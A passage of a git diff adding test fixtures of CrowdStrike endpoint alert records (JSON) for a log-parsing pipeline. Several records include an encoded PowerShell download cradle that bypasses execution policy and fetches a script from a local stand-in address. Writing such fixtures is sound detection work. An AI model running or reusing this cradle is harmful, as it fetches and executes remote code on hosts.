ahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} +{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log new file mode 100644 index 0000000000..c2a5a0f28b --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log @@ -0,0 +1,11 @@ +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea